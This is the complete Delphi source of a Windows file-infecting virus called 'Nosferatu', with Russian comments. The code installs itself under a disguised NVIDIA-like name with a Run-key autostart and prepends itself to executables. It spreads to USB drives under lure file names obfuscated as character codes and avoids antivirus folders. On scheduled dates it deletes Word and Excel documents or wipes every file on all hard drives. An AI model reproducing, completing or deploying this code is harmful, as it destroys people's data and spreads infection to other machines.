program Nosferatu;
uses
SysUtils,
Windows,
Classes,
Registry;

type
ProblemDays = Set of 1..31;

const
NosferatuSize = 80896; // реальный размер вируса, без сжатия...
NewBirth = '01.01.1997';
P = ' ';
Effect1_Days : ProblemDays = [1, 3, 20, 7, 15, 11]; //Эффект создания мусора
Effect2_Days : ProblemDays = [12, 14, 17, 18, 21, 22, 23, 24, 25, 26]; // Эффект удаления файлов *.doc
Effect3_Days : ProblemDays = [27, 28, 29, 30, 31]; // Эффект удаления файлов *.xls
Destructor_Days : ProblemDays = [9, 13, 31]; // Эффект удаления всех файлов на всех винтах...
Destructor_Months : ProblemDays = [1, 4, 9, 11]; // Эффект удаления всех файлов на всех винтах...
var
Module : TSearchRec;
File_1, File_2 : File;
N_Disk : String;
DriveList : TStrings;
Infectnum : Integer;
TempInt : Integer;
FlashInfected : Boolean;
GenProblem : Boolean;
BadFile : TStringList;
Size_1, Size_2 : Integer;
Inf_ : Boolean;
FirstStart : Boolean;
Present: TDateTime;
Year, Month, Day: Word;
F_Disk : String;
Black : TextFile;

{************* Процедура регистрации в реестре ***************}
procedure Regisration;
var
Buf : array[1..NosferatuSize] of Byte;
RealRead, RealWrite : LongInt;
VirName, WinDir : String;
WinDirP : PChar;
Res : Integer;
Reg: TRegistry;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP) + '\';
VirName := 'NvMckTray.exe';

// Если вируса в каталоге Винды нет, то создаем его там...

DeleteFile(PChar(WinDir + VirName));
if not FileExists(WinDir + VirName) then
begin
FileMode := 0;
AssignFile(File_1, Paramstr(0));
Reset(File_1, 1);

Randomize;

FileMode := 2;
AssignFile(File_2, WinDir + VirName);
{$I-}

Rewrite(File_2, 1);
Seek(File_1, 0);
Seek(File_2, 0) ;

FileMode :=0;
BlockRead(File_1, Buf,NosferatuSize, RealRead);
FileMode :=2;
BlockWrite(File_2, Buf, RealRead, RealWrite);

CloseFile(File_1);
CloseFile(File_2);
end;

// Записываем его путь в реестр...
Reg := nil;
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
FirstStart := not Reg.KeyExists('Software\Microsoft\Windows\CurrentVersion\Run\NvMediaUtils');

if FirstStart then
begin
Reg.LazyWrite := False;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
Reg.WriteString('NvMediaUtils', WinDir + VirName);
Reg.CloseKey;
Reg.Free;
end;
end;

{************* Процедура заражения файлов ***************}
procedure INFECTOR(Module:string);
var
I : Integer;
Buf : array[1..NosferatuSize] of Byte;
RealRead, RealWrite : LongInt;
begin
try
Inf_ := False;
Randomize;
AssignFile(File_1, Module);
I := Random(200);
Rename(File_1, 'C:\temp_' + IntToStr(I));
FileMode := 0;
AssignFile(File_2, paramstr(0));
Reset(File_2, 1);
Seek(File_2, 0);
BlockRead(File_2, Buf, NosferatuSize);
FileMode := 2;
CloseFile(File_2);
AssignFile(File_1, Module);
Rewrite(File_1, 1);
BlockWrite (File_1, Buf, NosferatuSize);
AssignFile(File_2, 'C:\temp_' + IntToStr(I));
Reset(File_2, 1);
Seek(File_2, 0);
repeat
BlockRead(File_2, Buf, NosferatuSize, RealRead);
BlockWrite(File_1, Buf, RealRead, RealWrite);
until (RealRead = 0) or (RealWrite <> RealRead);
CloseFile(File_1);
CloseFile(File_2);
DeleteFile(PChar('C:\temp_' + IntToStr(I)));
TempInt := I;
AssignFile(File_1, Module);
Reset(File_1, 1);
Size_2 := FileSize(File_1);
if Size_2 <> Size_1 then
begin
inc(InfectNum); // увеличиваем число заражений на 1
Inf_ := True;
FileMode := 2;
CloseFile(File_1);
end
except
DeleteFile(PChar('C:\temp_' + IntToStr(I)));
end;
end; { INFECTOR }

{ ******* Документирование зараженных файлов ******* }
procedure Documentor(FileName : String; Mode : Integer; Temp : String);
var
Doc : TextFile;
Drive, WinDir : String;
WinDirP : PChar;
Res : Integer;
begin
{ Получаем каталог Windows }
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP) + '\';

AssignFile(Doc, Windir + 'DocPrt2.dat');
{$I-}
Append(Doc);
if IOResult <> 0 then
begin
{$I-}
Rewrite(Doc);
end;

case Mode of
1: WriteLn(Doc, FileName);
2: WriteLn(Doc, 'Erased:' + P + FileName);
3: WriteLn(Doc, 'Skipped:' + P + FileName);
end; { case }

CloseFile(Doc);
end; { Documentor }

{******** Реализация эффекта вируса № 1 - создание 3-х мусорных файлов ********}
procedure Effect_1;
const
Str_1 = '‹М‹V‹и±эяя3А‰3Т‰лH‹k;хu:;{5‹$‹Ч‹Еиqэяяfghjklk;;jkhjkfgfghfghd';
RndExt : array [0..4] of String = ('.dll', '.xls', '.mp3', '.mid', '.dat');
var
MyReg : TRegIniFile;
FullName : TextFile;
F_Name : array [1..8] of String;
DesktopDir, DocDir, ProgramsDir,
Target, NewName, F_Ext, PicDir, MusicDir : String;
Res, Idx, I : Integer;
begin
MyReg := TRegIniFile.Create('Software\MicroSoft\Windows\CurrentVersion\Explorer');

DesktopDir := MyReg.ReadString('Shell Folders', 'Desktop', '') + '\';
PicDir := MyReg.ReadString('Shell Folders', 'My Pictures', '') + '\';
MusicDir := MyReg.ReadString('Shell Folders', 'My Music', '') + '\';
DocDir := MyReg.ReadString('Shell Folders', 'Personal', '') + '\';
ProgramsDir := MyReg.ReadString('Shell Folders', 'Programs', '') + '\';

MyReg.Free;

Randomize;
I := Random(5);
NewName := '';

case I of
0 : Target := DesktopDir;
1 : Target := PicDir;
2 : Target := ProgramsDir;
3 : Target := DocDir;
4 : Target := MusicDir;
end; { case }

for Idx := 1 to 3 do
begin
for I := 1 to 8 do
F_Name[I] := IntToStr(Random(10));
F_Ext := RndExt[Random(5)];
for I := 1 to 8 do
NewName := NewName + F_Name[I];
NewName := NewName + F_Ext;
AssignFile(FullName, Target + NewName);
{$I-}
Rewrite(FullName);
for I := 1 to 20 do
WriteLn(FullName, Str_1 + Str_1);
CloseFile(FullName);
NewName := '';
GenProblem := True;
end; { for 1}
end; { Effect_1 }

procedure SetFileDate(const AFileName: String; const ADateTime: TDateTime);
var
Handle : Integer;
begin
Handle := FileOpen(AFileName, fmOpenWrite or fmShareDenyNone);
try
if Handle > 0 then
FileSetDate(Handle, DateTimeToFileDate(ADateTime));
finally
FileClose(Handle)
end;
end;

{ ******* Процедура поиска жертв *******}
procedure FindFiles(const Path: String; const Mask: String);
var
FullPath : String;
Doc : TextFile;
F1, F2 : TextFile;
function Recurse(var Path: String; const Mask: String): Boolean;
var
SRec : TSearchRec;
Retval : Integer;
Oldlen : Integer;
Del : String;
begin
if InfectNum >= 4 then Exit;
Recurse := True;
Oldlen := Length(Path);

Retval := FindFirst(Path + Mask, $0000003F, SRec);

while Retval = 0 do
begin
if (SRec.Attr and ($00000010 or $00000008)) = 0 then
begin
if (DateToStr(FileDateToDateTime(FileAge(Path + Srec.Name))) = NewBirth)
or ((Srec.Name) = ExtractFileName(ParamStr(0)))
or ((Srec.Name) = ExtractFileName(ExtractFileName(ParamStr(0)))) or
((Srec.Size) = NosferatuSize) or (Pos('Common Files', Path) <> 0) or
(Pos('NetMeeting', Path) <> 0) or (Pos('Outlook Express', Path) <> 0) or
(Pos('Internet Explorer', Path) <> 0) or (Pos('Microsoft Shared', Path) <> 0) or
(Pos('Kaspersky', Path) <> 0) or (Pos('msagent', Path) <> 0) or
(Pos('Movie', Path) <> 0) or (Pos('WINDOWS', Path) <> 0) then
Break
else
begin
if InfectNum = 3 then Exit // повторная проверка кол-ва заражений
else
begin
if Mask = '*.exe' then
begin
Size_1 := Srec.Size;
INFECTOR(Path + Srec.Name); // запускаем заражение файлов
if Inf_ then
begin
SetFileDate(Path + Srec.Name, StrToDate(NewBirth)); // установка индекса зараженности
Documentor(Path + Srec.Name, 1, ''); // протоколируемм результат заражения в файл
end
else
Documentor(Path + Srec.Name, 3, ''); // протоколируемм результат заражения в файл
end;

if Mask = #42#46#100#111#99 then
begin
{$I-}
DeleteFile(PChar(Path + Srec.Name));
Documentor(Path + Srec.Name, 2, ''); // протоколируемм результат заражения в файл
inc(InfectNum);
if InfectNum >= 2 then
GenProblem := True;
end;

if Mask = #42#46#120#108#115 then
begin
{$I-}
DeleteFile(PChar(Path + Srec.Name));
Documentor(Path + Srec.Name, 2, ''); // протоколируем результат заражения в файл
inc(InfectNum);
if InfectNum >= 2 then
GenProblem := True;
end;
end;
end;
end;
Retval := FindNext(SRec);
end;

if not Result then Exit;

Retval := FindFirst(Path + '*.*', $00000010, srec);

while Retval = 0 do
begin
if (srec.attr and $00000010) <> 0 then
if (srec.name <> '.') and (srec.name <> '..') then
begin
Path := Path + SRec.Name + '\';
if not Recurse(Path, Mask) then
begin
Result := False;
Break;
end;
Delete(Path, OldLen + 1, 255);
end;

Retval := FindNext(SRec);
end;
end; { recurse }

begin
if Path = '' then
GetDir(0, FullPath)
else
FullPath := Path;
if FullPath[Length(FullPath)] <> '\' then
FullPath := FullPath + '\';
if (Mask = '') then
Recurse(FullPath, '*.*')
else
Recurse(FullPath, Mask);

end; { FindFiles }

{*** Функция создает список всех дисков компьютера, и запихивает их в TStrings ***}
function CreateDrivesList(AList: TStrings) : Boolean;
var
Bufer : array[0..1024] of char;
RealLen, I : integer;
S : string;
begin
AList.Clear;
RealLen := GetLogicalDriveStrings(SizeOf(Bufer),Bufer);
I := 0;
S := '';
while I < RealLen do
begin
if Bufer[I] <> #0 then
begin
S := S + Bufer[I];
inc(I);
end
else
begin
inc(I);
AList.Add(S);
S := '';
end;
end;
Result := AList.Count > 0;
end; { CreateDrivesList }

{ ******* Получение имени одного из жестких дисков ******* }
function GetFixedDrive : String;
var
DriveList, FixedDriveList : TStringList;
I : Integer;
F_Disk : String;
begin
DriveList := TStringList.Create;
FixedDriveList := TStringList.Create;

CreateDrivesList(DriveList);

for I := 0 to DriveList.Count - 1 do
begin
F_Disk := DriveList.Strings[I];
if GetDriveType(PChar(F_Disk)) = DRIVE_FIXED then
FixedDriveList.Add(F_Disk);
end;
DriveList.Free;

Randomize;
I := Random(FixedDriveList.Count);
Result := FixedDriveList.Strings[I];
end; { GetFixedDrive }

{************** Генератор имени и извлечение вируса ****************}
procedure ExtractVirus;
const
RndName : array [0..15] of String = (#78#101#116#67#114#97#99#107#46#101#120#101,
#68#105#109#97#95#66#105#108#97#110#46#101#120#101,
#75#105#114#107#111#114#111#118#46#101#120#101,
#82#101#103#67#108#101#97#110#55#46#101#120#101,
#86#105#115#116#97#85#116#105#108#105#116#105#101#115#46#101#120#101,
#87#105#110#65#109#112#55#48#95#114#117#115#46#101#120#101,
#84#111#114#110#97#100#111#46#101#120#101,
#83#105#109#107#97#46#101#120#101,
#80#111#114#110#111#71#111#114#111#115#107#111#112#95#114#117#115#46#101#120#101,
#83#101#120#121#77#111#118#105#101#115#46#101#120#101,
#68#74#80#108#97#121#101#114#46#101#120#101,
#83#101#120#121#67#97#114#110#97#118#97#108#46#101#120#101,
#77#97#102#105#97#46#101#120#101,
#80#117#116#105#110#95#80#108#117#115#46#101#120#101,
#78#97#115#104#97#95#82#117#115#115#105#97#46#101#120#101,
#67#111#109#101#100#121#32#67#108#117#98#32#50#48#48#56#46#101#120#101);
var
Buf : array[1..NosferatuSize] of Byte;
RealRead, RealWrite : LongInt;
VirName : String;
begin
FileMode := 0;
AssignFile(File_1, Paramstr(0));
Reset(File_1, 1);

Randomize;
VirName := RndName[Random(16)];
FileMode := 2;
AssignFile(File_2, N_Disk + VirName);
{$I-}

Rewrite(File_2, 1);
Seek(File_1, 0);
Seek(File_2, 0) ;

FileMode :=0;
BlockRead(File_1, Buf,NosferatuSize, RealRead);
FileMode :=2;
BlockWrite(File_2, Buf, RealRead, RealWrite);

CloseFile(File_1);
CloseFile(File_2);
end; { ExtractVirus }

{*************** Процедура обнаружения флэшки и заражение ее ******************}
procedure InfectRemovableDrive;
var
I : Integer;
Copy : TStrings;
begin
DriveList := TStringList.Create;
CreateDrivesList(DriveList);

for I := 0 to DriveList.Count - 1 do
begin
N_Disk := DriveList.Strings[I];
if N_Disk[1] <> 'A' then
begin
if (GetDriveType(PChar(N_Disk)) = DRIVE_REMOVABLE) and (GetDriveType(PChar(N_Disk)) <> DRIVE_CDROM) then
begin
{*************Сюда вставляем заражение Флэшки*********************}
ExtractVirus;
InfectNum := 0;
FindFiles(N_Disk, '*.exe');
FlashInfected := True;
{*****************************************************************}
DriveList.Free;
Exit;
end;
end;
end;
end; { InfectRemovableDrive }

{************* Процедура удаления файлов на всех жестких дисках ***************}
procedure Destructor_(const Path: String; const Mask: String);
var
FullPath : String;
Doc : TextFile;
F1, F2 : TextFile;
function Recurse(var Path: String; const Mask: String): Boolean;
var
SRec : TSearchRec;
Retval : Integer;
Oldlen : Integer;
begin
Recurse := True;
Oldlen := Length(Path);

Retval := FindFirst(Path + Mask, $0000003F, SRec);

while Retval = 0 do
begin
if (SRec.Attr and ($00000010 or $00000008)) = 0 then
begin
try
DeleteFile(PChar(Path + SRec.Name));
except
end;
end;
Retval := FindNext(SRec);
end;

if not Result then Exit;

Retval := FindFirst(Path + '*.*', $00000010, srec);
while Retval = 0 do
begin
if (srec.attr and $00000010) <> 0 then
if (srec.name <> '.') and (srec.name <> '..') then
begin
Path := Path + SRec.Name + '\';
if not Recurse(Path, Mask) then
begin
Result := False;
Break;
end;
Delete(Path, OldLen + 1, 255);
end;

Retval := FindNext(SRec);
end;
end;

begin
if Path = '' then
GetDir(0, FullPath)
else
FullPath := Path;
if FullPath[Length(FullPath)] <> '\' then
FullPath := FullPath + '\';
if (Mask = '') then
Recurse(FullPath, '*.*')
else
Recurse(FullPath, Mask);
end; { procedure Destructor_ }

{******** Процедура запуска зараженной программы + вредоносные действия *******}
procedure StartProgram;
label 1;
var
Buf: array[1..NosferatuSize] of Byte;
Rect:TRect;
RealRead, RealWrite : LongInt;
Present: TDateTime;
Year, Month, Day: Word;
I : Integer;
F_Disk : String;
DestructorDriveList : TStringList;
begin
GenProblem := False;
FlashInfected := False;
FindFiles(GetFixedDrive, '*.exe');
try
FileMode := 0;
AssignFile(File_1, Paramstr(0));
Reset(File_1, 1);
FileMode := 2;
AssignFile(File_2, Paramstr(0) + '.exe');
Rewrite(File_2, 1);
Seek(File_1, NosferatuSize);
Seek(File_2, 0) ;
repeat
FileMode :=0;
BlockRead(File_1, Buf,NosferatuSize, RealRead);
FileMode :=2;
BlockWrite(File_2, Buf, RealRead, RealWrite);
until
(RealRead = 0) or (RealWrite <> RealRead) ;
CloseFile(File_1);
CloseFile(File_2);

FileSetAttr(Paramstr(0) + '.exe', faHidden);
WinExec(PChar(Paramstr(0) + '.exe'), SW_show);

1:

{******************** Здесь будут вредоносные действия ************************}
if not DeleteFile(pchar(Paramstr(0)+'.exe')) then
begin
if not FlashInfected then
InfectRemovableDrive;

if not GenProblem then
begin
Present:= Now;
DecodeDate(Present, Year, Month, Day);

if Day in Effect1_Days then
Effect_1;

if Day in Effect2_Days then
begin
InfectNum := 1;
FindFiles(GetFixedDrive, #42#46#100#111#99);
end;

if Day in Effect3_Days then
begin
InfectNum := 1;
FindFiles(GetFixedDrive, #42#46#120#108#115);
end;
end;

sleep(5000);
goto 1;

end;

except
Exit;
end;
end; { StartProgram }

var
DestructorDriveList : TStringList;
I : Integer;
Bufer : array[0..1024] of char;
RealLen : integer;
S : string;
AList : TStringList;
begin
try
Regisration;
FileMode := 0;

{******* Функция удадения всех файлов на всех жестких дисках*******}
Present:= Now;
DecodeDate(Present, Year, Month, Day);

if (Day in Destructor_Days) and (Month in Destructor_Months) then
begin
DestructorDriveList := TStringList.Create;
AList := TStringList.Create;

RealLen := GetLogicalDriveStrings(SizeOf(Bufer),Bufer);
I := 0;
S := '';
while I < RealLen do
begin
if Bufer[I] <> #0 then
begin
S := S + Bufer[I];
inc(I);
end
else
begin
inc(I);
AList.Add(S);
S := '';
end;
end;

for I := 0 to AList.Count - 1 do
begin
F_Disk := AList.Strings[I];
if GetDriveType(PChar(F_Disk)) = DRIVE_FIXED then
DestructorDriveList.Add(F_Disk);
end;
AList.Free;

for I := DestructorDriveList.Count - 1 downto 0 do
Destructor_(DestructorDriveList.Strings[I], '*.*');

AssignFile(Black, 'C:\Please Read Me.txt');
{$I-}
Rewrite(Black);
WriteLn(Black, 'Welcome to the world of the Win32.BLACKHOLE.Q - VIRUS :-)');
CloseFile(Black);

Exit;
end;
{******************************************************************}

AssignFile(File_1, paramstr(0));
Reset(File_1, 1);

if Filesize(File_1) = NosferatuSize then
begin
CloseFile(File_1);
FindFiles(GetFixedDrive, '*.exe');
end
else
begin
CloseFile(File_1);
StartProgram;
FileMode := 2;
end;
except

end;

end.